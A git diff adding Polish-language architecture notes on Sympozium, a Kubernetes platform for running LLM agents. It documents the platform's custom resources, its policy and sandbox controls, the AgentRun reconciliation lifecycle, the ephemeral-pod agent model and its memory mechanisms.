| `fetch_url` | Native | HTTP GET i zwraca body |
| `schedule_task` | IPC (bridge) | CRUD na SympoziumSchedule CRDs |
### Natywne vs IPC
- **Native** - narzędzia wykonywane bezpośrednio w kontenerze agenta
- **IPC (sidecar)** - narzędzia delegowane do skill sidecara przez IPC bridge
- **IPC (bridge)** - narzędzia delegowane do controllera przez NATS
## Przepływ end-to-end
```
Użytkownik → Telegram
Channel Pod (Telegram) → NATS: channel.message.received
Channel Router → Tworzy AgentRun CR
AgentRun Reconciler → Tworzy Job z kontenerami
Agent Container:
1. Czyta task z /workspace/input/
2. Czyta skills z /skills/
3. Czyta memory z /memory/ lub memory API
4. Wywołuje LLM (OpenAI/Anthropic/etc.)
5. LLM decyduje o użyciu narzędzia
6. Agent pisze do /ipc/tools/
7. IPC Bridge → NATS → Skill Sidecar wykonuje
8. Wynik wraca → Agent kontynuuje dialog z LLM
9. Agent pisze wynik do stdout
Controller zbiera logi poda
Controller → NATS: agent.run.completed
Channel Router → NATS: channel.message.send
Channel Pod (Telegram) → Użytkownik
```
---
Powiązane: [[NATS JetStream - Event Bus]] | [[Cykl życia Agent Pod]] | [[Skill Sidecars i auto-RBAC]]

136
03-CRD/AgentRun.md Normal file
View File

@@ -0,0 +1,136 @@
# AgentRun
#sympozium #crd #agentrun
## Definicja
`AgentRun` reprezentuje **pojedyncze wywołanie agenta**. Każdy AgentRun reconciliuje się w Kubernetes Job (tryb task) lub Deployment (tryb server).
**Plik:** `api/v1alpha1/agentrun_types.go`
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: AgentRun
metadata:
name: my-run-001
spec:
instanceRef: my-agent # Powiązanie z SympoziumInstance
agentId: default
sessionKey: session-123
task: "Sprawdź stan klastra"
systemPrompt: "Jesteś SRE inżynierem..."
model:
provider: anthropic
model: claude-sonnet-4-20250514
baseURL: ""
thinking: "high"
authSecretRef: anthropic-key
nodeSelector:
gpu-type: a100
mode: task|server # Job vs Deployment
parent: # Dla sub-agentów
runName: parent-run
sessionKey: parent-session
spawnDepth: 1
skills:
- skillPackRef: k8s-ops
toolPolicy:
allow: [read_file, list_directory]
deny: [execute_command]
timeout: 5m
cleanup: delete|keep # Po zakończeniu
sandbox: # Container-level sandbox
enabled: true
image: custom-sandbox:v1
agentSandbox: # Kernel-level sandbox (Sandbox CR)
enabled: true
runtimeClass: gvisor
warmPoolRef: wp-my-agent
env: # Custom env vars
MY_VAR: my-value
```
## Status
```yaml
status:
phase: Pending|Running|Serving|Succeeded|Failed
podName: my-run-001-abc123
jobName: my-run-001
sandboxName: my-run-001-sandbox # Agent Sandbox mode
startedAt: "2024-01-01T00:00:00Z"
completedAt: "2024-01-01T00:05:00Z"
result: "Klaster jest zdrowy. 15 podów running..."
error: ""
exitCode: 0
tokenUsage:
inputTokens: 1500
outputTokens: 800
totalTokens: 2300
toolCalls: 5
durationMs: 45000
traceID: "abc123def456" # OTel trace
deploymentName: "" # Server mode
serviceName: "" # Server mode
```
## Fazy lifecycle
```
""(empty) → Pending → Running → Succeeded
→ Failed
→ Serving (tryb server - długo żyjący)
```
### Przejścia faz
| Z fazy | Do fazy | Trigger |
|--------|---------|---------|
| "" / Pending | Running | Job/Sandbox CR utworzony, pod running |
| Running | Succeeded | Pod zakończył się z kodem 0 |
| Running | Failed | Pod zakończył się z kodem != 0 lub timeout |
| Pending | Serving | Mode=server, Deployment ready |
| Serving | Succeeded | AgentRun usunięty (cleanup Deployment) |
## Token Usage Tracking
AgentRun śledzi zużycie tokenów LLM:
- `inputTokens` - tokeny promptu
- `outputTokens` - tokeny odpowiedzi
- `totalTokens` - suma
- `toolCalls` - liczba wywołań narzędzi
- `durationMs` - czas wall-clock w ms
## Sub-agenty
AgentRun wspiera hierarchię parent-child:
```yaml
parent:
runName: parent-run-001
sessionKey: parent-session
spawnDepth: 1 # Głębokość w drzewie
```
Limity zdefiniowane w [[SympoziumInstance]] → `agents.default.subagents`:
- `maxDepth: 2` - max zagnieżdżenie
- `maxConcurrent: 5` - max równoległych
- `maxChildrenPerAgent: 3` - max dzieci per agent
## History Pruning
Controller utrzymuje max 50 zakończonych AgentRun per instancja (konfigurowalny `RunHistoryLimit`). Starsze są automatycznie usuwane.
---
Powiązane: [[SympoziumInstance]] | [[Cykl życia AgentRun]] | [[Cykl życia Agent Pod]]

104
03-CRD/MCPServer.md Normal file
View File

@@ -0,0 +1,104 @@
# MCPServer
#sympozium #crd #mcp
## Definicja
`MCPServer` zarządza lifecycle **serwerów MCP (Model Context Protocol)** w klastrze. Wspiera stdio (z HTTP adapterem), HTTP i external transport.
**Plik:** `api/v1alpha1/mcpserver_types.go`
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: MCPServer
metadata:
name: github-mcp
spec:
transportType: stdio|http
# Dla external/pre-existing serwerów (bez deploymentu):
url: "http://external-mcp.example.com/mcp"
# Dla managed serwerów:
deployment:
image: ghcr.io/my-org/github-mcp:v1
cmd: "/usr/bin/github-mcp-server"
args: ["--stdio"]
port: 8080
env:
LOG_LEVEL: info
secretRefs:
- name: github-token
resources:
requests:
cpu: "100m"
memory: "128Mi"
serviceAccountName: github-mcp-sa
toolsPrefix: gh # Prefix unikający kolizji
timeout: 30
replicas: 1
toolsAllow: [create_issue] # Whitelist narzędzi
toolsDeny: [delete_repo] # Blacklist narzędzi
```
## Dwa tryby
### Managed (z deployment spec)
Controller tworzy Deployment + Service:
- stdio → HTTP adapter automatycznie
- Probing narzędzi po starcie
- Lifecycle zarządzany przez controller
### External (z URL)
Tylko referencja do istniejącego serwera:
- Brak deploymentu
- Probing narzędzi pod podanym URL
- Użytkownik zarządza lifecycle
## Tool Discovery
Po starcie MCPServer, controller:
1. Probeuje endpoint MCP
2. Odkrywa dostępne narzędzia
3. Aplikuje `toolsAllow` / `toolsDeny` filtry
4. Zapisuje listę narzędzi w `status.tools`
5. Prefiksuje nazwy: `gh_create_issue`, `gh_list_repos`
## Status
```yaml
status:
ready: true
url: "http://github-mcp.sympozium-system.svc:8080"
toolCount: 12
tools: [create_issue, list_repos, ...]
```
## Integracja z agentem
```
SympoziumInstance → mcpServers: [{name: github-mcp, toolsPrefix: gh}]
AgentRun tworzony → Reconciler:
1. Rozwiązuje MCPServer CR → pobiera URL ze status
2. Tworzy MCP ConfigMap z konfiguracją serwerów
3. Dodaje mcp-bridge sidecar do poda
Agent w podzie:
- mcp-bridge sidecar tłumaczy tool calls → MCP protocol
- Narzędzia widoczne jako prefixed: gh_create_issue, gh_list_repos
```
## Tool namespacing
Prefiksy zapobiegają kolizjom gdy wiele MCP serwerów jest aktywnych:
- `gh_create_issue` (GitHub MCP)
- `jira_create_ticket` (Jira MCP)
- `slack_send_message` (Slack MCP)
---
Powiązane: [[MCP Servers - Model Context Protocol]] | [[SympoziumInstance]] | [[Przepływ danych i IPC]]

132
03-CRD/PersonaPack.md Normal file
View File

@@ -0,0 +1,132 @@
# PersonaPack
#sympozium #crd #personapack
## Definicja
`PersonaPack` to CRD bundlujący **wiele pre-konfigurowanych person agentów**. Aktywacja packa powoduje automatyczne tworzenie SympoziumInstances, Schedules i memory seeds.
**Plik:** `api/v1alpha1/personapack_types.go`
## Analogia
PersonaPack jest dla agentów AI tym, czym Helm Chart dla aplikacji K8s - **deklaratywny bundle** który controller "rozpakowuje" w konkretne zasoby.
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: PersonaPack
metadata:
name: platform-team
spec:
enabled: true # Dopóki false - katalog; true - controller stampuje
description: "Core platform engineering team"
category: platform
version: "1.0.0"
authRefs: # Credentials (ustawiane przy aktywacji)
- provider: openai
secret: platform-team-openai-key
policyRef: restrictive # Wspólna polityka
baseURL: "" # Override dla lokalnych providerów
channelConfigs: # Mapowanie kanał → secret
telegram: telegram-creds
skillParams: # Parametry per-skill
github-gitops:
REPO: my-org/my-repo
taskOverride: "Focus on reducing MTTR" # Nadpisanie celów
excludePersonas: # Wyłączone persony
- cost-analyzer
channelAccessControl:
telegram:
allowedSenders: ["123456"]
agentSandbox: # Kernel-level isolation dla wszystkich
enabled: true
runtimeClass: gvisor
personas:
- name: security-guardian
displayName: "Security Guardian"
systemPrompt: |
You are a Kubernetes security specialist...
model: claude-sonnet-4-20250514
skills:
- k8s-ops
- sre-observability
toolPolicy:
allow: [execute_command, read_file, fetch_url]
channels:
- telegram
schedule:
type: heartbeat
interval: "30m"
task: "Run security audit on all namespaces"
memory:
enabled: true
seeds:
- "Track CVEs found in previous scans"
- "Remember cluster topology changes"
```
## Mechanizm aktywacji
```
PersonaPack (enabled: false) → Katalog (TUI pokazuje jako dostępny)
Użytkownik aktywuje (TUI wizard / kubectl patch)
PersonaPack (enabled: true, authRefs set) → Controller stampuje:
├── Secret: platform-team-openai-key
├── SympoziumInstance: platform-team-security-guardian
│ ├── SympoziumSchedule + ConfigMap memory (seeded)
├── SympoziumInstance: platform-team-sre-watchdog
│ ├── SympoziumSchedule + ConfigMap memory (seeded)
└── SympoziumInstance: platform-team-platform-engineer
└── SympoziumSchedule + ConfigMap memory (seeded)
```
## Wbudowane packi
| Pack | Kategoria | Agenty | Opis |
|------|-----------|--------|------|
| `platform-team` | Platform | Security Guardian, SRE Watchdog, Platform Engineer | Bezpieczeństwo, health, manifest review |
| `devops-essentials` | DevOps | Incident Responder, Cost Analyzer | Triage incydentów, right-sizing |
| `developer-team` | Development | 7 agentów (Tech Lead, Backend/Frontend Dev, QA, Code Reviewer, DevOps, Docs Writer) | Pełny zespół dev |
## Status
```yaml
status:
phase: Pending|Ready|Error
personaCount: 3
installedCount: 3
installedPersonas:
- name: security-guardian
instanceName: platform-team-security-guardian
scheduleName: platform-team-security-guardian-schedule
```
## ownerReferences
Wszystkie wygenerowane zasoby mają `ownerReference` → PersonaPack. Usunięcie packa = garbage collection całego zespołu.
## Znaczenie architektoniczne
PersonaPacks rozwiązują problem **Day 1 Experience** - zamiast ręcznie tworzyć Secret + Instance + Schedule + Memory per agent, użytkownik:
1. Wybiera pack w TUI
2. Podaje klucz API
3. Cały zespół agentów jest gotowy
To także wzorzec **Infrastructure as Code dla AI Teams** - deklarujesz zespół agentów w YAML, controller realizuje intent.
---
Powiązane: [[PersonaPacks - zespoły agentów]] | [[SympoziumInstance]] | [[SympoziumSchedule]]

131
03-CRD/SkillPack.md Normal file
View File

@@ -0,0 +1,131 @@
# SkillPack
#sympozium #crd #skillpack
## Definicja
`SkillPack` to CRD bundlujący **Markdown instrukcje + opcjonalny sidecar kontener + RBAC**. Skills montowane są jako pliki w podzie agenta.
**Plik:** `api/v1alpha1/skillpack_types.go`
## Dwuwarstwowa architektura skilli
### Warstwa 1: Instrukcje (Markdown)
Każdy skill to plik Markdown montowany w `/skills/` - agent czyta go jako instrukcje do LLM.
### Warstwa 2: Sidecar (opcjonalny)
Sidecar to kontener z narzędziami (kubectl, helm, git) + auto-provisioned RBAC.
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: SkillPack
metadata:
name: k8s-ops
spec:
category: kubernetes
version: "1.0.0"
skills:
- name: k8s-ops
description: "Kubernetes operations"
content: |
# Kubernetes Operations
You have access to kubectl via the execute_command tool...
requires:
bins: [kubectl]
tools: [execute_command]
sidecar:
image: ghcr.io/sympozium-ai/sympozium/skill-k8s-ops:v0.0.25
command: ["sleep", "infinity"]
mountWorkspace: true
env:
- name: KUBECONFIG
value: /var/run/secrets/kubernetes.io/serviceaccount/token
resources:
cpu: "100m"
memory: "128Mi"
rbac: # Namespace-scoped RBAC
- apiGroups: ["", "apps"]
resources: ["pods", "deployments"]
verbs: ["get", "list", "watch"]
clusterRBAC: # Cluster-scoped RBAC
- apiGroups: [""]
resources: ["nodes", "namespaces"]
verbs: ["get", "list", "watch"]
secretRef: github-token # Sekrety montowane w sidecarze
secretMountPath: /secrets/github
hostAccess: # Dostęp do hosta (np. node-probe)
enabled: false
hostNetwork: false
hostPID: false
privileged: false
mounts:
- hostPath: /var/log
mountPath: /host-logs
readOnly: true
requiresServer: false # Czy wymaga Deployment zamiast Job
ports:
- name: http
containerPort: 8080
```
## Status
```yaml
status:
phase: Ready
configMapName: skillpack-k8s-ops
skillCount: 1
```
## Cykl życia
```
SkillPack CR utworzony
SkillPackReconciler → Generuje ConfigMap z Markdown contentem
SympoziumInstance referencjonuje skill
AgentRun tworzony → AgentRunReconciler:
1. Czyta SkillPack → wyciąga sidecar spec
2. Tworzy Role + RoleBinding (namespace RBAC)
3. Tworzy ClusterRole + ClusterRoleBinding (cluster RBAC)
4. Dodaje sidecar kontener do pod spec
5. Montuje ConfigMap jako /skills/ volume
Po zakończeniu AgentRun:
- Namespace RBAC: garbage-collected via ownerReference
- Cluster RBAC: cleaned up by controller via label selector
```
## Parametryzacja
SkillPacks mogą być parametryzowane per-instancja:
```yaml
# W SympoziumInstance
skills:
- skillPackRef: github-gitops
params:
REPO: my-org/my-repo
BRANCH: main
```
Parametry injektowane jako `SKILL_REPO`, `SKILL_BRANCH` env vars w sidecarze.
## RequiresServer
Gdy `sidecar.requiresServer: true`, AgentRun tworzony jest w trybie `server` (Deployment + Service zamiast Job). Przykład: skill `web-endpoint`.
---
Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Efemeryczny RBAC per-run]] | [[SympoziumInstance]]

119
03-CRD/SympoziumInstance.md Normal file
View File

@@ -0,0 +1,119 @@
# SympoziumInstance
#sympozium #crd #instance
## Definicja
`SympoziumInstance` to centralny CRD reprezentujący **jednego tenanta/użytkownika**. Deklaruje konfigurację kanałów, agentów, skillów, polityk i memory.
**Plik:** `api/v1alpha1/sympoziuminstance_types.go`
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: SympoziumInstance
metadata:
name: my-agent
spec:
channels: # Podłączone kanały
- type: telegram
configRef:
secret: telegram-creds
accessControl:
allowedSenders: ["123456"]
agents:
default:
model: gpt-4.1
baseURL: "" # Override dla OpenAI-compat
thinking: "medium" # off/low/medium/high
sandbox:
enabled: false
agentSandbox: # Kernel-level isolation
enabled: true
runtimeClass: gvisor
warmPool:
size: 3
subagents:
maxDepth: 2
maxConcurrent: 5
maxChildrenPerAgent: 3
nodeSelector: # Pinning do GPU node'ów
gpu-type: "a100"
skills: # SkillPacks do montowania
- skillPackRef: k8s-ops
params:
CLUSTER: production
- skillPackRef: memory
policyRef: restrictive # Polityka bezpieczeństwa
authRefs: # Klucze API
- provider: openai
secret: openai-key
memory: # Legacy ConfigMap memory
enabled: true
maxSizeKB: 256
observability: # OpenTelemetry
enabled: true
otlpEndpoint: "otel-collector.observability.svc:4317"
mcpServers: # External tool providers
- name: github
toolsPrefix: gh
timeout: 30
```
## Status
```yaml
status:
phase: Running|Serving|Pending|Error
channels:
- type: telegram
status: Connected|Disconnected|Error
activeAgentPods: 2
totalAgentRuns: 150
webEndpoint:
status: Ready
url: "alice.sympozium.example.com"
```
## Kluczowe koncepty
### Multi-tenancy
Każda SympoziumInstance to osobny tenant z:
- Własnymi kanałami
- Własnymi credentials (AuthRefs)
- Własną polityką
- Własną memory
- Własnymi MCP serverami
### Reconciliation
`SympoziumInstanceReconciler` zarządza:
1. **Channel Deployments** - tworzy/aktualizuje Deployment per kanał
2. **Memory ConfigMap** - legacy `<name>-memory` ConfigMap
3. **Memory PVC** - SQLite DB dla memory SkillPack
4. **Memory Deployment** - memory-server Deployment + Service
5. **Web Endpoints** - server-mode AgentRun dla web-endpoint skill
### Finalizery
Przy usunięciu instancji controller:
- Czyści channel deployments
- Czyści memory ConfigMap
- Czyści memory deployment
### Channel Access Control
Kanały mogą ograniczać kto może komunikować się z agentem:
- `allowedSenders` - whitelist ID nadawców
- `deniedSenders` - blacklist (nadpisuje whitelist)
- `allowedChats` - whitelist ID czatów/grup
- `denyMessage` - wiadomość dla odrzuconych
---
Powiązane: [[AgentRun]] | [[PersonaPack]] | [[SympoziumPolicy]] | [[Kanały - Telegram Slack Discord WhatsApp]]

95
03-CRD/SympoziumPolicy.md Normal file
View File

@@ -0,0 +1,95 @@
# SympoziumPolicy
#sympozium #crd #policy #security
## Definicja
`SympoziumPolicy` definiuje **polityki governance** nad zachowaniem agentów: sandbox requirements, network isolation, tool access i resource limits.
**Plik:** `api/v1alpha1/sympoziumpolicy_types.go`
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: SympoziumPolicy
metadata:
name: restrictive
spec:
sandboxPolicy:
required: true # Sandbox obowiązkowy
defaultImage: sandbox:v1
maxCPU: "1"
maxMemory: "1Gi"
allowHostMounts: false
seccompProfile:
type: RuntimeDefault
agentSandboxPolicy: # Agent Sandbox (gVisor/Kata)
required: true
defaultRuntimeClass: gvisor
allowedRuntimeClasses: [gvisor, kata]
subagentPolicy:
maxDepth: 3 # Max zagnieżdżenie sub-agentów
maxConcurrent: 5 # Max równoległych
toolGating:
defaultAction: deny # deny/allow/ask
rules:
- tool: read_file
action: allow
- tool: execute_command
action: deny
- tool: write_file
action: ask
featureGates:
memory: true
web-endpoint: false
channels: true
networkPolicy:
denyAll: true # Deny-all egress
allowDNS: true # Wyjątek: DNS
allowEventBus: true # Wyjątek: NATS
allowedEgress: # Dodatkowe wyjątki
- host: "api.openai.com"
port: 443
```
## Enforcement
Polityki są enforced przez **admission webhook** - nie at runtime, ale **at admission time** (przed utworzeniem poda):
```
AgentRun CR → API Server → Admission Webhook → SympoziumPolicy check
├── PASS → CR created
└── DENY → CR rejected
```
## Presetowe polityki
| Polityka | Kto | Kluczowe reguły |
|----------|-----|-----------------|
| **Permissive** | Dev, demo | Wszystkie tools dozwolone, brak sandbox requirement |
| **Default** | Ogólne użycie | `execute_command` wymaga approval, reszta dozwolona |
| **Restrictive** | Produkcja | Wszystko domyślnie denied, whitelist, sandbox required |
## NetworkPolicy
Polityka `networkPolicy` generuje Kubernetes NetworkPolicy:
- **denyAll: true** - agent pods nie mają dostępu do internetu ani innych podów
- **allowDNS: true** - wyjątek dla rozwiązywania nazw
- **allowEventBus: true** - wyjątek dla NATS (tylko IPC bridge)
- **allowedEgress** - whitelist konkretnych endpointów (np. API providerów LLM)
## Status
```yaml
status:
boundInstances: 5 # Ile instancji używa tej polityki
```
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Admission Webhooks i polityki]] | [[NetworkPolicy i izolacja sieciowa]]

View File

@@ -0,0 +1,77 @@
# SympoziumSchedule
#sympozium #crd #schedule
## Definicja
`SympoziumSchedule` definiuje **recurring tasks** dla SympoziumInstance - analogicznie do CronJob, ale tworzy AgentRun zamiast Pod.
**Plik:** `api/v1alpha1/sympoziumschedule_types.go`
## Spec
```yaml
apiVersion: sympozium.ai/v1alpha1
kind: SympoziumSchedule
metadata:
name: my-agent-health-check
spec:
instanceRef: my-agent
schedule: "*/30 * * * *" # Co 30 minut
task: "Run comprehensive health check"
type: heartbeat|scheduled|sweep
suspend: false
concurrencyPolicy: Forbid|Allow|Replace
includeMemory: true # Inject MEMORY.md do kontekstu
```
## Typy scheduli
| Typ | Opis | Typowy interwał |
|-----|------|-----------------|
| `heartbeat` | Regularne sprawdzanie stanu | 5-30 minut |
| `scheduled` | Zaplanowane zadania | Godzinowo/dziennie |
| `sweep` | Przeglądy i cleanup | Dziennie/tygodniowo |
## Concurrency Policy
| Polityka | Zachowanie |
|----------|------------|
| `Forbid` | Nie twórz nowego runu jeśli poprzedni jeszcze działa |
| `Allow` | Pozwól na równoległe uruchomienia |
| `Replace` | Anuluj poprzedni run i utwórz nowy |
## Self-scheduling
Agenty mogą **same zarządzać swoimi schedulami** przez narzędzie `schedule_task`:
```
Agent → /ipc/schedules/create-schedule.json → IPC Bridge → NATS: schedule.upsert
→ Schedule Router → tworzy/aktualizuje SympoziumSchedule CRD
```
Operacje: create, update, suspend, resume, delete.
## Status
```yaml
status:
phase: Active|Suspended|Error
lastRunTime: "2024-01-01T12:00:00Z"
nextRunTime: "2024-01-01T12:30:00Z"
lastRunName: my-agent-health-check-run-42
totalRuns: 200
```
## Reconciliation
`SympoziumScheduleReconciler`:
1. Oblicza `nextRunTime` z cron expression
2. Kiedy `now >= nextRunTime`:
- Sprawdza concurrency policy
- Tworzy AgentRun CR z task + opcjonalnie memory
- Aktualizuje `lastRunTime` i `lastRunName`
---
Powiązane: [[Scheduled Tasks - heartbeaty i swepy]] | [[SympoziumInstance]] | [[AgentRun]]

View File

@@ -0,0 +1,150 @@
# Cykl życia AgentRun
#sympozium #agenty #lifecycle
## Pełny przepływ reconciliation
`AgentRunReconciler` to **największy i najważniejszy controller** w systemie (~900 linii kodu). Zarządza pełnym lifecycle od Pending do Completed.
## Faza: Pending → Running
```
reconcilePending():
├── 1. validatePolicy()
│ └── Sprawdza SympoziumPolicy:
│ - Sandbox requirements
│ - Tool gating
│ - Feature gates
│ - AgentSandbox policy
├── 2. Agent Sandbox check
│ └── Jeśli agentSandbox.enabled → reconcilePendingAgentSandbox()
│ (tworzy Sandbox CR zamiast Job)
├── 3. ensureAgentServiceAccount()
│ └── ServiceAccount "sympozium-agent" w target namespace
├── 4. createInputConfigMap()
│ └── ConfigMap z task, system prompt, memory context
├── 5. Lookup SympoziumInstance
│ ├── Memory enabled? → prepend memory instructions
│ ├── Observability config → inject OTel env vars
│ ├── Skills inheritance → copy from instance if empty
│ └── MCP servers → resolve URLs from MCPServer CRs
├── 6. ensureMCPConfigMap()
│ └── ConfigMap z konfiguracją MCP serwerów
├── 7. resolveSkillSidecars()
│ └── SkillPack CRDs → resolved sidecar specs
├── 8. Server mode check
│ └── mode=server → reconcilePendingServer() (Deployment+Service)
├── 9. Filter server-only sidecars (task mode)
├── 10. Memory server readiness check
│ └── Jeśli memory skill → sprawdź czy Deployment istnieje
├── 11. Build Job
│ ├── PodBuilder.BuildAgentContainer()
│ ├── PodBuilder.BuildIPCBridgeContainer()
│ ├── Skill sidecar containers
│ ├── MCP bridge sidecar (jeśli MCP servers)
│ ├── Sandbox sidecar (jeśli enabled)
│ ├── Memory volumes/init containers
│ ├── Secret mirroring (system → run namespace)
│ └── OTel tracing setup
├── 12. Create ephemeral RBAC
│ ├── Role + RoleBinding (namespace-scoped, ownerRef)
│ └── ClusterRole + ClusterRoleBinding (label-based)
├── 13. NetworkPolicy
│ └── deny-all + allow DNS + allow NATS
└── 14. Create Job → Status: Running
```
## Faza: Running
```
reconcileRunning():
├── Poll Job status (co 10s via requeue)
├── Pod Succeeded → extractResults():
│ ├── Read pod logs
│ ├── Extract result text
│ ├── Extract memory markers (__SYMPOZIUM_MEMORY__)
│ ├── Patch memory ConfigMap
│ ├── Extract token usage
│ └── Set status.result, completedAt, tokenUsage
│ → Status: Succeeded
├── Pod Failed →
│ ├── Read pod logs for error
│ ├── Set status.error, exitCode
│ └── Status: Failed
└── Timeout → failRun() → Status: Failed
```
## Faza: Succeeded/Failed
```
reconcileCompleted():
├── Clean up ephemeral RBAC
│ ├── Delete ClusterRole (label: agentrun=<name>)
│ └── Delete ClusterRoleBinding
├── Prune run history
│ └── Keep max 50 runs per instance (DefaultRunHistoryLimit)
└── Remove finalizer → AgentRun deletable
```
## Faza: Serving (server mode)
```
reconcileServing():
├── Sprawdź Deployment health
├── Sprawdź Service health
├── Reconcile HTTPRoute (Envoy Gateway)
└── Requeue co 30s
```
## Obsługa usunięcia
```
reconcileDelete():
├── Delete server-mode resources (Deployment, Service, HTTPRoute)
├── Delete ephemeral RBAC
├── Delete input ConfigMap
├── Delete MCP ConfigMap
├── Remove finalizer
└── AgentRun usunięty
```
## OTel Tracing
Każda faza reconciliation jest tracowana:
- `agentrun.reconcile` - główny span
- `agentrun.create_job` - tworzenie Job
- Traceparent propagowany do agent poda via env var
- TraceID zapisany w `status.traceID`
## Metryki
- `sympozium.agent.runs` - counter (success/failure labels)
- `sympozium.agent.duration_ms` - histogram czasu trwania
- `sympozium.errors` - counter błędów
---
Powiązane: [[AgentRun]] | [[Cykl życia Agent Pod]] | [[Orchestrator - PodBuilder i Spawner]]

View File

@@ -0,0 +1,82 @@
# Model efemerycznych agentów
#sympozium #agenty #architektura #ephemeral
## Fundamentalna decyzja
Sympozium implementuje **model efemeryczny**: każde wywołanie agenta tworzy nowy Kubernetes [[Job]], który po zakończeniu jest usuwany. To odwrotność podejścia "persistent engine" stosowanego w kagent, LangChain, CrewAI.
## Jak to działa
```
Wiadomość użytkownika
Channel Router tworzy AgentRun CR
AgentRun Reconciler tworzy Job:
- Agent container (LLM loop)
- IPC Bridge sidecar
- Skill sidecars (z efemerycznym RBAC)
- Opcjonalnie: sandbox, MCP bridge
Agent wykonuje zadanie (sekundy-minuty)
Job ends → Pod usunięty → RBAC usunięty → Zasoby zwolnione
```
## Implikacje
### Izolacja (zalety)
- **Blast-radius** ograniczony do jednego poda - misbehaving agent nie wpływa na innych
- **Resource limits** per invocation - każdy run ma własne CPU/memory limits
- **[[SecurityContext]]** per run - każdy pod ma hardened security context
- **[[NetworkPolicy]]** per run - deny-all egress, tylko IPC bridge ma sieć
- **[[RBAC]]** per run - credentials istnieją tylko przez czas trwania runu
### Skalowanie (zalety)
- **Horizontal scaling** natywne - K8s scheduler rozkłada pody po nodach
- **No contention** - każdy run to osobny pod, brak współdzielenia procesora
- **Auto-cleanup** - Kubernetes garbage collection czyści po zakończeniu
### Cold start (wady i mitygacja)
- **Problem:** Każdy run = nowy pod = scheduling + image pull + container start
- **Typowy czas:** 5-30 sekund
- **Mitygacja 1:** Warm Pools (SandboxWarmPool) - pre-provisioned sandboxes
- **Mitygacja 2:** ImagePullPolicy: IfNotPresent - obrazy cache'owane na nodach
- **Mitygacja 3:** Tryb Server - Deployment zamiast Job dla long-lived scenarios
### Brak stanu (wady i mitygacja)
- **Problem:** Agent nie pamięta poprzednich konwersacji
- **Mitygacja 1:** Persistent Memory (SQLite + FTS5 na PVC)
- **Mitygacja 2:** Legacy Memory (ConfigMap MEMORY.md)
- **Mitygacja 3:** Session persistence (PostgreSQL)
## Porównanie z persistent engine
| Aspekt | Ephemeral (Sympozium) | Persistent (kagent, LangChain) |
|--------|----------------------|-------------------------------|
| Izolacja | [[Pod]]-level per run | Shared process |
| Cold start | 5-30s (mitygowany WarmPool) | ~0s (process already running) |
| State | External (memory, sessions) | In-process |
| Scaling | Horizontal native | Vertical only |
| Resource utilization | Pay-per-invocation | Always-on |
| Failure blast radius | Single pod | Entire engine |
| Audit trail | Pod logs, CRD status | Engine logs |
| RBAC | Ephemeral per-run | Standing ServiceAccount |
## Kiedy model efemeryczny?
Idealny dla:
- **Cluster operations** - kubectl, helm z izolacją
- **Scheduled tasks** - health checks, sweeps
- **Multi-tenant** - izolacja między tenantami
- **Security-sensitive** - untrusted agent code
- **Batch processing** - one-shot tasks
Mniej idealny dla:
- **Real-time chat** - cold start jest widoczny (ale tryb Server to rozwiązuje)
- **State-heavy workflows** - wymagają persistent memory
---
Powiązane: [[Cykl życia AgentRun]] | [[Agent Sandbox - gVisor i Kata]] | [[Sympozium vs kagent]]

View File

@@ -0,0 +1,122 @@
# Persistent Memory
#sympozium #agenty #memory
## Problem
W modelu efemerycznym agent traci pamięć po zakończeniu runu. Sympozium rozwiązuje to dwoma mechanizmami.
## Mechanizm 1: Legacy ConfigMap Memory
Prostszy, starszy system:
```
Agent output zawiera markery:
__SYMPOZIUM_MEMORY__
Key insight: Pod X has recurring OOM issues
__SYMPOZIUM_MEMORY_END__
Controller parsuje logi poda
Patch ConfigMap: <instance>-memory
Data:
MEMORY.md: |
# Agent Memory
- Key insight: Pod X has recurring OOM issues
Następny run montuje ConfigMap w /memory/MEMORY.md
```
### Ograniczenia
- Flat file (Markdown)
- Brak wyszukiwania semantycznego
- Max rozmiar: `maxSizeKB` (domyślnie 256KB)
- Brak tagowania/kategoryzacji
## Mechanizm 2: SQLite + FTS5 Memory (SkillPack-based)
Zaawansowany system z dedykowanym serwerem:
```
┌─────────────────────────────────────┐
│ Memory Server (Deployment+Service) │
│ │
│ ┌──────────────────┐ │
│ │ SQLite + FTS5 │ │
│ │ na PVC (1Gi) │ │
│ └──────────────────┘ │
│ HTTP API: :8080 │
│ /health - readiness/liveness │
│ /memory/store - zapis │
│ /memory/search - wyszukiwanie FTS │
└──────────┬──────────────────────────┘
Agent Pod (z memory skill):
- memory_store → HTTP POST
- memory_search → HTTP GET
```
### Aktywacja
Dodanie skillu `memory` do SympoziumInstance:
```yaml
skills:
- skillPackRef: memory
```
### Co controller tworzy
1. **PVC**: `<instance>-memory-db` (1Gi) - persystencja SQLite DB
2. **Deployment**: `<instance>-memory` - memory-server z PVC
3. **Service**: `<instance>-memory` - ClusterIP na port 8080
### Zalety vs ConfigMap
- **Full-text search** (FTS5) - agent szuka w pamięci semantycznie
- **Tagging** - memories mogą być kategoryzowane
- **Skalowalne** - DB na PVC, nie ConfigMap (1MB limit)
- **Upgradeable** - można dodać vector search w przyszłości
- **API-driven** - agent używa HTTP API, nie plików
## Memory w scheduled tasks
```yaml
# SympoziumSchedule
spec:
includeMemory: true # Memory context wstrzyknięty do każdego runu
```
To enabler dla **uczących się agentów**:
```
Run 1: Agent odkrywa problem → zapisuje do memory
Run 2: Agent czyta memory → kontynuuje od ostatniego stanu
Run 3: Agent widzi trend → eskaluje
```
## Memory seeds (PersonaPack)
```yaml
personas:
- name: sre-watchdog
memory:
enabled: true
seeds:
- "Track repeated pod restarts for trend analysis"
- "Remember previous node capacity assessments"
```
Seeds to **początkowa pamięć** - instrukcje dla agenta co śledzić.
## Architektura memory w podzie
```
Agent Pod:
├── Init Container: wait-for-memory
│ └── curl http://<instance>-memory:8080/health
│ (czeka aż memory server jest ready)
├── Agent Container:
│ ├── memory_search("previous issues") → HTTP GET
│ └── memory_store("New issue found: ...") → HTTP POST
└── (memory server jest ZEWNĘTRZNY - Deployment, nie sidecar)
```
---
